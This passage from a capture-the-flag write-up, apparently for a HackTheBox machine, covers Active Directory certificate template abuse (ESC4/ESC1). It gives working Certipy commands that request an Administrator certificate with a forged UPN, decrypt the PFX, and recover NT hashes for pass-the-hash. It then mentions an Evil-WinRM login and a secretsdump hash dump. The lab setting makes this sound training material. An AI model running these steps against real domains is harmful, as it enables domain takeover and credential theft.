The certificate template is now vulnerable to the ESC1 technique.
Request a Certificate for Administrator
We can now exploit the vulnerable ESC4 template to request a certificate, specifying an arbitrary Subject Alternative Name (SAN) using the -upn
or -dns
parameter. For example:
certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn [email protected]
But in this scenario, we lack the user's password (or we can manage to reset the password in previous steps to skip this part), the Kerberos ticket fails with Certipy, and the encrypted certificate (.pfx
) is unusable. This mirrors a challenge I highlighted in the Mist writeup.
Retrieve CA_SVC
NT Hash with Certipy
Certipy's commands do not support PFXs with passwords. In order to use an encrypted PFX with Certipy, we can re-create a PFX by importing the password with the "cert" module, namely we decrypt the PFX before use:
certipy cert -pfx gtpwNhXt.pfx -password $certpass -export -out axura.pfx
As a best practice, always verify the private key using openssl
:

Once confirmed, use certipy auth
with the new no-password .pfx
file to retrieve the NT hash:
certipy auth -pfx axura.pfx -u ca_svc -domain sequel.htb -dc-ip $ip

Request Administrator
TGT
Now, using the NT hash of ca_svc
, we can request a TGT through the vulnerable DunderMifflinAuthentication
template for the Administrator
account by specifying the upn
:
certipy req -hashes ':3b181b914e7a9d5508ea1e▒▒▒▒▒▒▒▒' -u 'ca_svc' -ca 'sequel-DC01-CA' -target 'DC01.sequel.htb' -ns $ip -dns $ip -dc-ip $ip -template DunderMifflinAuthentication -upn '[email protected]'

Authenticate Using the New Certificate
To retrieve the Administrator
NT hash using the generated TGT, run the following command:
certipy auth -pfx administrator_10.pfx -dc-ip $ip

Root
Remote log in to the machine as Administrator
using Evil-WinRM and the obtained NT hash:

Rooted. Perform a hash dump using Impacket's secretsdump.py
to extract and reveal the plaintext password for the Administrator
account:

Comments | NOTHING